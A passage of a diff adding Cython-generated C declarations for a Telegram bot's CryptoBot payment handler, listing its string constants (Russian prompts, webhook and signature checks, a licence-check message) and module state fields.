(((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.cryprobot_pay" */ +/* #### Code section: typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.cryprobot_pay" +extern int __pyx_module_is_main_handlers__payments__cryprobot_pay; +int __pyx_module_is_main_handlers__payments__cryprobot_pay = 0; + +/* Implementation of "handlers.payments.cryprobot_pay" */ +/* #### Code section: global_var ### */ +static PyObject *__pyx_builtin_range; +static PyObject *__pyx_builtin_ValueError; +/* #### Code section: string_decls ### */ +static const char __pyx_k_F[] = "F"; +static const char __pyx_k_e[] = "e"; +static const char __pyx_k_i[] = "i"; +static const char __pyx_k__2[] = "\342\254\205\357\270\217 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__3[] = "\320\222\321\213\320\261\320\265\321\200\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217:"; +static const char __pyx_k__6[] = "|"; +static const char __pyx_k__8[] = "\320\235\320\265\320\262\320\265\321\200\320\275\321\213\320\265 \320\264\320\260\320\275\320\275\321\213\320\265 \320\264\320\273\321\217 \320\262\321\213\320\261\320\276\321\200\320\260 \321\201\321\203\320\274\320\274\321\213."; +static const char __pyx_k__9[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260."; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_id[] = "id"; +static const char __pyx_k_Any[] = "Any"; +static const char __pyx_k__10[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217 \320\261\320\260\320\273\320\260\320\275\321\201\320\260 \320\275\320\260 "; +static const char __pyx_k__11[] = " \321\200\321\203\320\261"; +static const char __pyx_k__12[] = ":"; +static const char __pyx_k__13[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\270\321\202\321\214"; +static const char __pyx_k__14[] = "\320\222\321\213 \320\262\321\213\320\261\321\200\320\260\320\273\320\270 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\275\320\260 "; +static const char __pyx_k__15[] = " \321\200\321\203\320\261\320\273\320\265\320\271."; +static const char __pyx_k__16[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; +static const char __pyx_k__17[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k__19[] = "\320\237\320\276\320\273\321\203\321\207\320\265\320\275\321\213 \320\264\320\260\320\275\320\275\321\213\320\265 \320\262\320\265\320\261\321\205\321\203\320\272\320\260: "; +static const char __pyx_k__20[] = "\320\235\320\265\320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\270\320\262\320\260\320\265\320\274\321\213\320\271 \321\202\320\270\320\277 \320\276\320\261\320\275\320\276\320\262\320\273\320\265\320\275\320\270\321\217: "; +static const char __pyx_k__21[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\276\320\261\321\200\320\260\320\261\320\276\321\202\320\272\320\270 \320\262\320\265\320\261\321\205\321\203\320\272\320\260: "; +static const char __pyx_k__25[] = "\320\237\320\276\320\273\321\203\321\207\320\265\320\275 \320\275\320\265\320\276\320\277\320\273\320\260\321\207\320\265\320\275\320\275\321\213\320\271 \320\270\320\275\320\262\320\276\320\271\321\201: "; +static const char __pyx_k__27[] = "\360\237\224\231 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__28[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217."; +static const char __pyx_k__31[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 "; +static const char __pyx_k__32[] = ". \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__33[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__34[] = "."; +static const char __pyx_k__43[] = "?"; +static const char __pyx_k_doc[] = "__doc__"; +static const char __pyx_k_get[] = "get"; +static const char __pyx_k_pay[] = "pay"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_url[] = "url"; +static const char __pyx_k_web[] = "web"; +static const char __pyx_k_USDT[] = "USDT"; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_chat[] = "chat"; +static const char __pyx_k_data[] = "data"; +static const char __pyx_k_dict[] = "__dict__"; +static const char __pyx_k_info[] = "info"; +static const char __pyx_k_json[] = "json"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_paid[] = "paid"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_State[] = "State"; +static const char __pyx_k_asset[] = "asset"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_debug[] = "debug"; +static const char __pyx_k_error[] = "error"; +static const char __pyx_k_range[] = "range"; +static const char __pyx_k_split[] = "split"; +static const char __pyx_k_state[] = "state"; +static const char __pyx_k_super[] = "super"; +static const char __pyx_k_tg_id[] = "tg_id"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_token[] = "token"; +static const char __pyx_k_trial[] = "trial"; +static const char __pyx_k_types[] = "types"; +static const char __pyx_k_Router[] = "Router"; +static const char __pyx_k_amount[] = "amount"; +static const char __pyx_k_answer[] = "answer"; +static const char __pyx_k_config[] = "config"; +static const char __pyx_k_crypto[] = "crypto_"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_exists[] = "exists"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_logger[] = "logger"; +static const char __pyx_k_module[] = "__module__"; +static const char __pyx_k_router[] = "router"; +static const char __pyx_k_status[] = "status"; +static const char __pyx_k_typing[] = "typing"; +static const char __pyx_k_aiogram[] = "aiogram"; +static const char __pyx_k_aiohttp[] = "aiohttp"; +static const char __pyx_k_balance[] = "balance"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_headers[] = "headers"; +static const char __pyx_k_invoice[] = "invoice"; +static const char __pyx_k_isdigit[] = "isdigit"; +static const char __pyx_k_message[] = "message"; +static const char __pyx_k_network[] = "network"; +static const char __pyx_k_payload[] = "payload"; +static const char __pyx_k_prepare[] = "__prepare__"; +static const char __pyx_k_request[] = "request"; +static const char __pyx_k_session[] = "session"; +static const char __pyx_k_user_id[] = "user_id"; +static const char __pyx_k_warning[] = "warning"; +static const char __pyx_k_MAIN_NET[] = "MAIN_NET"; +static const char __pyx_k_Networks[] = "Networks"; +static const char __pyx_k_No_value[] = "No value"; +static const char __pyx_k_Response[] = "Response"; +static const char __pyx_k_amount_2[] = ", amount: "; +static const char __pyx_k_crypto_2[] = "crypto"; +static const char __pyx_k_database[] = "database"; +static const char __pyx_k_qualname[] = "__qualname__"; +static const char __pyx_k_set_name[] = "__set_name__"; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_body_text[] = "body_text"; +static const char __pyx_k_cryptobot[] = "cryptobot"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_key_count[] = "key_count"; +static const char __pyx_k_metaclass[] = "__metaclass__"; +static const char __pyx_k_set_state[] = "set_state"; +static const char __pyx_k_CRYPTOSALE[] = "CRYPTOSALE"; +static const char __pyx_k_FSMContext[] = "FSMContext"; +static const char __pyx_k_ValueError[] = "ValueError"; +static const char __pyx_k_amount_str[] = "amount_str"; +static const char __pyx_k_check_hash[] = "check_hash"; +static const char __pyx_k_startswith[] = "startswith"; +static const char __pyx_k_CRYPTO_HASH[] = "\320\235\320\265\320\262\320\265\321\200\320\275\320\276\320\265 \320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\265 CRYPTO_HASH. \320\222\321\213\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\277\321\200\320\265\321\200\320\262\320\260\320\275\320\276."; +static const char __pyx_k_RUB_TO_USDT[] = "RUB_TO_USDT"; +static const char __pyx_k_StatesGroup[] = "StatesGroup"; +static const char __pyx_k_add_payment[] = "add_payment"; +static const char __pyx_k_description[] = "description"; +static const char __pyx_k_mro_entries[] = "__mro_entries__"; +static const char __pyx_k_solonet_sup[] = "\342\235\214 \320\237\320\270\321\200\320\260\321\202\321\201\320\272\320\260\321\217 \320\262\320\265\321\200\321\201\320\270\321\217, \320\276\320\261\321\200\320\260\321\202\320\270\321\202\320\265\321\201\321\214 \320\262 \320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\321\203 @solonet_sup."; +static const char __pyx_k_update_data[] = "update_data"; +static const char __pyx_k_update_type[] = "update_type"; +static const char __pyx_k_user_id_str[] = "user_id_str"; +static const char __pyx_k_AioCryptoPay[] = "AioCryptoPay"; +static const char __pyx_k_aiocryptopay[] = "aiocryptopay"; +static const char __pyx_k_invoice_paid[] = "invoice_paid"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_aiogram_types[] = "aiogram.types"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_class_getitem[] = "__class_getitem__"; +static const char __pyx_k_crypto_amount[] = "crypto_amount|"; +static const char __pyx_k_expected_hash[] = "expected_hash"; +static const char __pyx_k_get_key_count[] = "get_key_count"; +static const char __pyx_k_init_subclass[] = "__init_subclass__"; +static const char __pyx_k_pay_cryptobot[] = "pay_cryptobot"; +static const char __pyx_k_types_Message[] = "types.Message"; +static const char __pyx_k_add_connection[] = "add_connection"; +static const char __pyx_k_callback_query[] = "callback_query"; +static const char __pyx_k_create_invoice[] = "create_invoice"; +static const char __pyx_k_custom_payload[] = "custom_payload"; +static const char __pyx_k_handlers_texts[] = "handlers.texts"; +static const char __pyx_k_hash_cryptobot[] = "\320\235\320\265\320\262\320\265\321\200\320\275\321\213\320\271 hash \320\262 \320\267\320\260\320\277\321\200\320\276\321\201\320\265 cryptobot"; +static const char __pyx_k_update_balance[] = "update_balance"; +static const char __pyx_k_user_id_amount[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\272\320\276\320\275\320\262\320\265\321\200\321\202\320\260\321\206\320\270\320\270 user_id \320\270\320\273\320\270 amount: "; +static const char __pyx_k_PAYMENT_OPTIONS[] = "PAYMENT_OPTIONS"; +static const char __pyx_k_bot_invoice_url[] = "bot_invoice_url"; +static const char __pyx_k_check_signature[] = "check_signature"; +static const char __pyx_k_CRYPTO_BOT_TOKEN[] = "CRYPTO_BOT_TOKEN"; +static const char __pyx_k_CRYPTO_BOT_ENABLE[] = "CRYPTO_BOT_ENABLE"; +static const char __pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; +static const char __pyx_k_cryptobot_webhook[] = "cryptobot_webhook"; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_aiogram_fsm_context[] = "aiogram.fsm.context"; +static const char __pyx_k_types_CallbackQuery[] = "types.CallbackQuery"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_PROJECTMANECONGIGURE[] = "PROJECTMANECONGIGURE"; +static const char __pyx_k_crypto_pay_signature[] = "crypto_pay_signature"; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_ReplenishBalanceState[] = "ReplenishBalanceState"; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_choosing_amount_crypto[] = "choosing_amount_crypto"; +static const char __pyx_k_handlers_payments_gift[] = "handlers.payments.gift"; +static const char __pyx_k_process_crypto_payment[] = "process_crypto_payment"; +static const char __pyx_k_check_connection_exists[] = "check_connection_exists"; +static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; +static const char __pyx_k_Crypto_Pay_Api_Signature[] = "Crypto-Pay-Api-Signature"; +static const char __pyx_k_process_amount_selection[] = "process_amount_selection"; +static const char __pyx_k_enter_custom_amount_crypto[] = "enter_custom_amount_crypto"; +static const char __pyx_k_process_custom_amount_input[] = "process_custom_amount_input"; +static const char __pyx_k_process_enter_custom_amount[] = "process_enter_custom_amount"; +static const char __pyx_k_Payment_succeeded_for_user_id[] = "Payment succeeded for user_id: "; +static const char __pyx_k_entering_custom_amount_crypto[] = "entering_custom_amount_crypto"; +static const char __pyx_k_process_callback_pay_cryptobot[] = "process_callback_pay_cryptobot"; +static const char __pyx_k_handlers_payments_cryprobot_pay[] = "handlers.payments.cryprobot_pay"; +static const char __pyx_k_send_payment_success_notificatio[] = "send_payment_success_notification"; +static const char __pyx_k_waiting_for_payment_confirmation[] = "waiting_for_payment_confirmation_crypto"; +static const char __pyx_k_handlers_payments_cryprobot_pay_2[] = "handlers/payments/cryprobot_pay.py"; +/* #### Code section: decls ### */ +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_process_callback_pay_cryptobot(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_6cryptobot_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_9check_hash(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_12process_crypto_payment(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_payload); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_15process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_18process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot; + PyObject *__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection; + PyObject *__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook; + PyObject *__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash; + PyObject *__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment; + PyObject *__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount; + PyObject *__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot; + PyTypeObject *__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection; + PyTypeObject *__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook; + PyTypeObject *__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash; + PyTypeObject *__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment; + PyTypeObject *__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount; + PyTypeObject *__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input; + PyObject *__pyx_n_s_AioCryptoPay; + PyObject *__pyx_n_s_Any; + PyObject *__pyx_n_u_CRYPTOSALE; + PyObject *__pyx_n_s_CRYPTO_BOT_ENABLE; + PyObject *__pyx_n_s_CRYPTO_BOT_TOKEN; + PyObject *__pyx_kp_u_CRYPTO_HASH; + PyObject *__pyx_kp_u_Crypto_Pay_Api_Signature; + PyObject *__pyx_n_s_F; + PyObject *__pyx_n_s_FSMContext; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_n_s_MAIN_NET; + PyObject *__pyx_n_s_Networks; + PyObject *__pyx_kp_u_No_value; + PyObject *__pyx_n_s_PAYMENT_OPTIONS; + PyObject *__pyx_n_s_PROJECTMANECONGIGURE; + PyObject *__pyx_kp_u_Payment_succeeded_for_user_id; + PyObject *__pyx_n_s_RUB_TO_USDT; + PyObject *__pyx_n_s_ReplenishBalanceState; + PyObject *__pyx_n_s_Response; + PyObject *__pyx_n_s_Router; + PyObject *__pyx_n_s_State; + PyObject *__pyx_n_s_StatesGroup; + PyObject *__pyx_n_u_USDT; + PyObject *__pyx_n_s_ValueError; + PyObject *__pyx_kp_u__10; + PyObject *__pyx_kp_u__11; + PyObject *__pyx_kp_u__12; + PyObject *__pyx_n_u__13; + PyObject *__pyx_kp_u__14; + PyObject *__pyx_kp_u__15; + PyObject *__pyx_kp_u__16; + PyObject *__pyx_kp_u__17; + PyObject *__pyx_kp_u__19; + PyObject *__pyx_kp_u__2; + PyObject *__pyx_kp_u__20; + PyObject *__pyx_kp_u__21; + PyObject *__pyx_kp_u__25; + PyObject *__pyx_kp_u__27; + PyObject *__pyx_kp_u__28; + PyObject *__pyx_kp_u__3; + PyObject *__pyx_kp_u__31; + PyObject *__pyx_kp_u__32; + PyObject *__pyx_kp_u__33; + PyObject *__pyx_kp_u__34; + PyObject *__pyx_n_s__43; + PyObject *__pyx_kp_u__6; + PyObject *__pyx_kp_u__8; + PyObject *__pyx_kp_u__9; + PyObject *__pyx_n_s_add_connection; + PyObject *__pyx_n_s_add_payment; + PyObject *__pyx_n_s_aiocryptopay; + PyObject *__pyx_n_s_aiogram; + PyObject *__pyx_n_s_aiogram_fsm_context; + PyObject *__pyx_n_s_aiogram_fsm_state; + PyObject *__pyx_n_s_aiogram_types; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_aiohttp; + PyObject *__pyx_n_s_amount; + PyObject *__pyx_kp_u_amount_2; + PyObject *__pyx_n_s_amount_str; + PyObject *__pyx_n_s_answer; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asset; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_n_s_balance; + PyObject *__pyx_n_s_body_text; + PyObject *__pyx_n_s_bot_invoice_url; + PyObject *__pyx_n_u_bot_invoice_url; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_u_callback_data; + PyObject *__pyx_n_s_callback_query; + PyObject *__pyx_n_s_chat; + PyObject *__pyx_n_s_check_connection_exists; + PyObject *__pyx_n_s_check_hash; + PyObject *__pyx_n_s_check_signature; + PyObject *__pyx_n_s_choosing_amount_crypto; + PyObject *__pyx_n_s_class_getitem; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_n_s_config; + PyObject *__pyx_n_s_create_invoice; + PyObject *__pyx_n_u_crypto; + PyObject *__pyx_n_s_crypto_2; + PyObject *__pyx_kp_u_crypto_amount; + PyObject *__pyx_n_s_crypto_pay_signature; + PyObject *__pyx_n_u_cryptobot; + PyObject *__pyx_n_s_cryptobot_webhook; + PyObject *__pyx_n_s_custom_payload; + PyObject *__pyx_n_s_data; + PyObject *__pyx_n_s_database; + PyObject *__pyx_n_s_debug; + PyObject *__pyx_n_s_description; + PyObject *__pyx_n_s_dict; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_doc; + PyObject *__pyx_n_s_e; + PyObject *__pyx_kp_u_enable; + PyObject *__pyx_n_u_enter_custom_amount_crypto; + PyObject *__pyx_n_s_entering_custom_amount_crypto; + PyObject *__pyx_n_s_error; + PyObject *__pyx_n_s_exists; + PyObject *__pyx_n_s_expected_hash; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_get; + PyObject *__pyx_n_s_get_key_count; + PyObject *__pyx_n_s_handlers_payments_cryprobot_pay; + PyObject *__pyx_kp_s_handlers_payments_cryprobot_pay_2; + PyObject *__pyx_n_s_handlers_payments_gift; + PyObject *__pyx_n_s_handlers_payments_utils; + PyObject *__pyx_n_s_handlers_texts; + PyObject *__pyx_kp_u_hash_cryptobot; + PyObject *__pyx_n_s_headers; + PyObject *__pyx_n_s_i; + PyObject *__pyx_n_s_id; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_info; + PyObject *__pyx_n_s_init_subclass; + PyObject *__pyx_n_s_invoice; + PyObject *__pyx_n_u_invoice_paid; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_n_s_isdigit; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_s_json; + PyObject *__pyx_n_s_key_count; + PyObject *__pyx_n_s_logger; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_message; + PyObject *__pyx_n_s_metaclass; + PyObject *__pyx_n_s_module; + PyObject *__pyx_n_s_mro_entries; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_s_network; + PyObject *__pyx_n_u_paid; + PyObject *__pyx_n_u_pay; + PyObject *__pyx_n_u_pay_cryptobot; + PyObject *__pyx_n_s_payload; + PyObject *__pyx_n_u_payload; + PyObject *__pyx_n_s_prepare; + PyObject *__pyx_n_s_process_amount_selection; + PyObject *__pyx_n_s_process_callback_pay_cryptobot; + PyObject *__pyx_n_s_process_crypto_payment; + PyObject *__pyx_n_s_process_custom_amount_input; + PyObject *__pyx_n_s_process_enter_custom_amount; + PyObject *__pyx_n_s_qualname; + PyObject *__pyx_n_s_range; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_request; + PyObject *__pyx_n_s_router; + PyObject *__pyx_n_s_row; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_send_payment_success_notificatio; + PyObject *__pyx_n_s_session; + PyObject *__pyx_n_s_set_name; + PyObject *__pyx_n_s_set_state; + PyObject *__pyx_kp_u_solonet_sup; + PyObject *__pyx_n_s_split; + PyObject *__pyx_n_s_startswith; + PyObject *__pyx_n_s_state; + PyObject *__pyx_n_s_status; + PyObject *__pyx_n_u_status; + PyObject *__pyx_n_s_super; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_u_text; + PyObject *__pyx_n_s_tg_id; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_token; + PyObject *__pyx_n_s_trial; + PyObject 